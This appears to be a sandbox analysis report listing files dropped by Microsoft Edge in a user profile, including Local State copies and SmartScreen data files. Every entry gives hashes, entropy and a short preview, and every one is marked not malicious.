Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38e18.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090769654010263
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF6Stbz8hu3VlXr4CRo1
MD5:	62A3FA14D0B3AC7C6BF3B5FD810ABFBF
SHA1:	A54630F0AE291419CFF225370313687F428084CC
SHA-256:	7977805D3A2CD0E7D76CCB9052F8063AA200B273DAD1A8A37290D69C46D0BA93
SHA-512:	8983EB7238FAD05C0BE798B99BB4CEECDD84E3D82EFB20ED69CECF489602E1592F48898E6A3850D97976E7E5AC1B22CC15B24EE1109128F99B35F9856DC480CE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38ffc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090769654010263
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF6Stbz8hu3VlXr4CRo1
MD5:	62A3FA14D0B3AC7C6BF3B5FD810ABFBF
SHA1:	A54630F0AE291419CFF225370313687F428084CC
SHA-256:	7977805D3A2CD0E7D76CCB9052F8063AA200B273DAD1A8A37290D69C46D0BA93
SHA-512:	8983EB7238FAD05C0BE798B99BB4CEECDD84E3D82EFB20ED69CECF489602E1592F48898E6A3850D97976E7E5AC1B22CC15B24EE1109128F99B35F9856DC480CE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b6be.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090769654010263
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF6Stbz8hu3VlXr4CRo1
MD5:	62A3FA14D0B3AC7C6BF3B5FD810ABFBF
SHA1:	A54630F0AE291419CFF225370313687F428084CC
SHA-256:	7977805D3A2CD0E7D76CCB9052F8063AA200B273DAD1A8A37290D69C46D0BA93
SHA-512:	8983EB7238FAD05C0BE798B99BB4CEECDD84E3D82EFB20ED69CECF489602E1592F48898E6A3850D97976E7E5AC1B22CC15B24EE1109128F99B35F9856DC480CE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3f127.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090769654010263
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF6Stbz8hu3VlXr4CRo1
MD5:	62A3FA14D0B3AC7C6BF3B5FD810ABFBF
SHA1:	A54630F0AE291419CFF225370313687F428084CC
SHA-256:	7977805D3A2CD0E7D76CCB9052F8063AA200B273DAD1A8A37290D69C46D0BA93
SHA-512:	8983EB7238FAD05C0BE798B99BB4CEECDD84E3D82EFB20ED69CECF489602E1592F48898E6A3850D97976E7E5AC1B22CC15B24EE1109128F99B35F9856DC480CE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4a072.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090769654010263
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF6Stbz8hu3VlXr4CRo1
MD5:	62A3FA14D0B3AC7C6BF3B5FD810ABFBF
SHA1:	A54630F0AE291419CFF225370313687F428084CC
SHA-256:	7977805D3A2CD0E7D76CCB9052F8063AA200B273DAD1A8A37290D69C46D0BA93
SHA-512:	8983EB7238FAD05C0BE798B99BB4CEECDD84E3D82EFB20ED69CECF489602E1592F48898E6A3850D97976E7E5AC1B22CC15B24EE1109128F99B35F9856DC480CE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4fcea.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090769654010263
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF6Stbz8hu3VlXr4CRo1
MD5:	62A3FA14D0B3AC7C6BF3B5FD810ABFBF
SHA1:	A54630F0AE291419CFF225370313687F428084CC
SHA-256:	7977805D3A2CD0E7D76CCB9052F8063AA200B273DAD1A8A37290D69C46D0BA93
SHA-512:	8983EB7238FAD05C0BE798B99BB4CEECDD84E3D82EFB20ED69CECF489602E1592F48898E6A3850D97976E7E5AC1B22CC15B24EE1109128F99B35F9856DC480CE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. 